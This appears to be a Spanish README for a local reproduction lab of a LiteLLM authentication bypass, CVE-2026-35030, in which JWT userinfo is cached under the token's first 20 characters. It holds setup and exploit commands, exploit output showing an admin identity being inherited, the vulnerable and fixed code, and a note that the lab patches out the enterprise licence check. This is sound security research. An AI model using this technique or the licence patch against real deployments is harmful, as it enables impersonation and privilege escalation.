
El código para reproducir personalmente la vulnerabilidad correspondiente
LiteLLM utiliza
token[:20]como clave de la caché de userinfo OIDC. Dos JWTs distintos firmados con el mismo algoritmo producen los primeros 20 caracteres idénticos, lo que permite a un atacante no autenticado heredar la identidad y los permisos en caché de otro usuario.
| Campo | Valor |
|---|
| CVE | CVE-2026-35030 |
| CVSS v4.0 | 9.4 (CRÍTICO) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N |
| CVSS v3.1 | 9.1 (CRÍTICO) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-287 (Autenticación incorrecta) / CWE-222 (Credenciales insuficientemente protegidas) |
| Afectados | LiteLLM < 1.83.0 (con enable_jwt_auth: true) |
| Corregido en | v1.83.0+ (clave de caché cambiada a sha256(token)) |
| Publicado | 2026-04-06 |
| Descubierto por | Veria Labs |
| Enlaces | GHSA-jjhc-v7c2-5hh6 • NVD • GitLab Advisory |
LiteLLM es un AI Gateway / servidor proxy para invocar APIs de LLM. Cuando la autenticación JWT
está habilitada (enable_jwt_auth: true), LiteLLM valida los tokens contra un proveedor OIDC
y almacena en caché la respuesta de userinfo.
La vulnerabilidad: la clave de caché utiliza solo los primeros 20 caracteres del JWT:
# Vulnerable code (pre-1.83.0)
cache_key = token[:20] # Only first 20 characters!
Un JWT se compone de tres segmentos codificados en base64url separados por puntos:
<header>.<payload>.<signature>
El header (p. ej., {"alg":"RS256","typ":"JWT"}) se codifica de manera idéntica para todos los tokens
que utilizan el mismo algoritmo de firma. Esto significa que dos JWTs diferentes — emitidos para usuarios
completamente distintos — tendrán los mismos primeros 20 caracteres.
1. Admin authenticates → LiteLLM fetches userinfo → cached with key = token[:20]
↑
2. Attacker crafts JWT with same algorithm (RS256) ────────────────┘
→ token[:20] is IDENTICAL → cache HIT → inherits admin identity
Nota sobre la licencia empresarial: la autenticación JWT/OIDC es una funcionalidad exclusiva de la edición empresarial en LiteLLM (requiere
LITELLM_LICENSE). Para la reproducción local del CVE, ambos Dockerfiles parchean la comprobación depremium_useraTrue. Esto no afecta a la vulnerabilidad: la colisión de clave de caché (token[:20]) existe independientemente de la comprobación empresarial.El primer arranque ejecuta las migraciones de Prisma (~60-90 s). LiteLLM estará listo cuando los registros muestren
"Uvicorn running on http://0.0.0.0:4000".
# 1. Build and start vulnerable LiteLLM + mock OIDC provider
docker compose up -d --build
# 2. Install Python dependencies
pip install -r requirements.txt
# 3. Create test users (required for JWT auth — master key needed)
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "attacker", "role": "proxy_admin"}'
# 4. Demonstrate the cache key collision
python3 exploit/exploit.py --mode demo
# 5. Run the full exploit (auth bypass via cache collision)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000
# 6. (Optional) Verify it's fixed in v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed
Modo demo — muestra la colisión de clave de caché:
[+] Admin JWT (subject=admin):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[+] Attacker JWT (subject=attacker):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[🔥] COLLISION: Both tokens share the same first 20 characters!
Reason: Both tokens use RS256 signing → identical JWT header base64 → identical first 20 characters
→ cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'
Modo exploit — demuestra el bypass de autenticación real:
[VULNERABLE] Exploit Attempt — target: http://localhost:4000
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "admin", ...} ← INHERITED ADMIN!
[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
Attacker's token[:20] matched admin's cache key.
Response user_id='admin' (expected 'admin' for escalation)
Versión corregida — la clave de caché sha256 evita la colisión:
[FIXED] Exploit Attempt — target: http://localhost:4001
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "attacker", ...} ← OWN IDENTITY preserved
[+] Attacker identified as user_id='attacker'.
Fixed version: cache collision prevented.
En litellm/proxy/auth/handle_jwt.py, la caché de userinfo OIDC se indexa mediante token[:20]:
# Vulnerable (pre-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}" # Only first 20 chars!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
return cached_userinfo # Cache hit → skip userinfo fetch!
# Fixed (v1.83.0+) — same file, line 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"
token[:20] es insuficiente| Componente del token | ¿Incluye datos específicos del usuario? | ¿Fijo para el mismo algoritmo? |
|---|---|---|
| Header (primeros ~30 caracteres) | ❌ No | ✅ Sí — base64 idéntica |
| Payload (específico del usuario) | ✅ Sí | ❌ No — único por usuario |
| Firma | ✅ Sí | ❌ No — única por clave |
Dado que el header es la única parte dentro de los primeros 20 caracteres, y el header es idéntico para todos los tokens que utilizan el mismo algoritmo de firma, todo JWT RS256 del mismo emisor tiene exactamente los mismos primeros 20 caracteres.
| Escenario | Descripción |
|---|---|
| Escalada de privilegios | Un usuario con pocos privilegios se convierte en administrador mediante la colisión de caché |
| Suplantación horizontal | Suplantar a cualquier usuario cuyo userinfo esté en caché |
| Cadena de bypass de autenticación | Combinar con CVE-2026-35029 para lograr RCE |
CVE-2026-35030/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM + mock OIDC
├── litellm_config.yaml # LiteLLM config with JWT auth enabled
├── requirements.txt # Python dependencies (PoC)
├── litellm-vuln/
│ └── Dockerfile # Vulnerable LiteLLM v1.82.5 with enterprise patch
├── litellm-fixed/
│ └── Dockerfile # Fixed LiteLLM v1.83.0+ with sha256 cache key
├── oidc-provider/
│ ├── Dockerfile # Mock OIDC provider image
│ ├── requirements.txt
│ └── server.py # OIDC mock (FastAPI)
├── exploit/
│ ├── exploit.py # Main PoC exploit script
│ └── token_forge.py # JWT collision utilities
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/
└── README.md # Proof screenshots placeholder
sha256(token))enable_jwt_auth: falseAviso legal: este contenido se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.